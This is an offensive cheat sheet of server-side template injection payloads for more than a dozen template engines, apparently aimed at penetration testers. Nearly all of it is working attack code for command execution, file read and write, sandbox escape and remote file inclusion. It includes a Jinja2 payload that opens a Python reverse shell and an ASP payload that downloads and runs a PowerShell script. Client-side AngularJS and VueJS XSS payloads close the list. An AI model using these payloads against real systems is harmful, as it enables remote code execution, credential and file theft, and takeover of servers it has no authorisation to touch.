SSTI

Testing for SSTI

Try submitting a fuzzed payload such as ${{<%[%'"}}%\ if a stack trace error is displayed then the application is vulnerable.

To distinguish between XSS and SSTI submit payloads that trigger mathematical operations such as ${2*2} if the output is 4 then the vulnerability is aa SSTI

If the user input is included inside a code block follow these steps

  1. Verify that the attack is not an XSS by passing a payload including HTML tags such as str<b>test</b> if the tags and the content included are not rendered then the vulnerability is not an XSS

  2. Try to escape from the code block by submitting a payload as follow (adjust based on the engine's syntax): }}<b>test</b>

  3. If the content of the code block is rendered correctly alongside the injected tags then the application is vulnerable to SSTI

Server Side

ASP

Identification

<%= 7*7 %>
<%= "foo" %>
<%= response.write(date()) %>

Remote file inclusion

<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('<path to ps1 script>')").StdOut.ReadAll() %>

Java

Identification

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}

Command execution

${T(java.lang.Runtime).getRuntime().exec('<cmd>')}

Get system variables

${T(java.lang.System).getenv()}

Java - FreeMarker

Identification

${7*7}
#{7*7}

Command execution

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("<cmd>")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('<cmd>')}
${"freemarker.template.utility.Execute"?new()("<cmd>")}

File read

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('<path>').toURL().openStream().readAllBytes()?join(" ")}

Sandbox escape

requires FreeMarker version < 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("<cmd>")}

Java - Velocity

Identification

$class.type
$class.inspect("java.lang.Runtime").type

Blind command execution

$ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("<cmd>")

Command execution

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("<cmd>"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

Java - Thymeleaf

Identification

${7*7}
[[${7*7}]]
[(${7*7})]

Command execution

${T(java.lang.Runtime).getRuntime().exec('<cmd>')}
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("<cmd>")}

Java - Pebble

Identification

{{ someString.toUPPERCASE() }}

Command execution

Version < 3.0.9

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('<cmd>') }}

Newer versions

{% set cmd = '<cmd>' %}


{% set bytes = (1).TYPE
     .forName('java.lang.Runtime')
     .methods[6]
     .invoke(null,null)
     .exec(cmd)
     .inputStream
     .readAllBytes() %}
{{ (1).TYPE
     .forName('java.lang.String')
     .constructors[0]
     .newInstance(([bytes]).toArray()) }}

Java - JinJava

Identification

{{'a'.toUpperCase()}} would result in 'A'
{{ request }}

Command execution

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('<cmd>')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"<cmd>\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"<cmd>\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"<cmd>\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
#command with arguments
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"<cmd>\\\",\\\"<first arg>\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

NodeJs

Code execution via handlebars

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Code execution via JsRenderer

{{:"a".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('<cmd>').toString()")()}}

XSS via JsRenderer

{{:%22a%22.toString.constructor.call({},%22<XSS payload>%22)()}}

NodeJs - Jade

Identification

#{{7*7}}

Command execution

#{root.process.mainModule.require('child_process').spawnSync('<cmd>', ['<arg>']).stdout}

Command execution as subprocess

Useful for spawning independent shells

var x = root.process
x = x.mainModule.require
x = x('child_process')
x.exec('<cmd>')

NodeJs - PugJs

Identification

#{{7*7}}

Command execution

#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('<cmd>')}()}

NodeJs - NUNJUCKS

Identification

{{console.log(1)}}

Command execution

{{range.constructor("return global.process.mainModule.require('child_process').execSync('<cmd>')")()}}

PHP - Smarty

Identification

{$smarty.version}

Command execution

{php}echo `<cmd>`;{/php}
{system('<cmd>')}

PHP - Twig

Identification

{{7*7}}
{{7*'7'}}
{{_self}}
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

Command execution

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("<cmd>")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("<cmd>")}}
{{['<cmd>']|filter('system')}}

File read

"{{'<file path>'|file_excerpt(1,30)}}"@

Remote file inclusion

{{_self.env.setCache("ftp://<url>")}}{{_self.env.loadTemplate("<template name>")}}
{{_self.env.setCache("http://<url>")}}{{_self.env.loadTemplate("<template name>")}}

Python - Jinja2

Identification

{{7*'7'}} = '7777777'
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}

Command execution

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"<cmd>\", \"<args>\"]);'").read().zfill(417)}}{%endif%}{% endfor %}


{{request.application.__globals__.__builtins__.__import__('os')['popen']('<cmd>')['read']()}}
{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('<cmd>')['read']()}}

Command execution via GET parameter

Register the GET parameter

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.<param>).read()}}{%endif%}{%endfor%}

Send a request containing the given parameter with the code to execute as value. For instance a request can be <url>/?<param>=<code>

Read file

{{ ''.__class__.__mro__[2].__subclasses__()[40]('<file>').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("<file>").read() }}

Write file

{{ ''.__class__.__mro__[2].__subclasses__()[40]('<file>', 'w').write('<text to write>') }}

Python - Tornado

Identification

{{7*7}}
{% import foobar %}

Command execution

{% import os %}
{{os.system('<cmd>')}}

Python - Mako

Identification

{{7*7}}

Command execution

<%
import os
x=os.popen('<cmd>').read()
%>

Ruby - ERB

Identification

<%= 7*7 %> = 49
{{7*7}} = {{7*7}}
${7*7} = ${7*7}

Blind command execution

<%= system("<cmd>") %>
<%= `<cmd>` %>

Command execution

<%= IO.popen('<cmd>').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('<cmd>') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('<cmd>') %><%= @c.readline()%>

List folders

<%= Dir.entries('/') %>

Read file

<%= File.open('<file>').read %>

Ruby - Slim

Identification

${7*7}

Blind command execution

{ %x|env| }

.Net - Razor

Identification

@(2+2)
@()
@

Command execution

@System.Diagnostics.Process.Start("<cmd>","<args>");

Client Side

AngularJS

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}

<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

VueJS

"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
{{_openBlock.constructor('alert(1)')()}}     //V3
{{constructor.constructor('alert(1)')()}}    //V2

Mavo

[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
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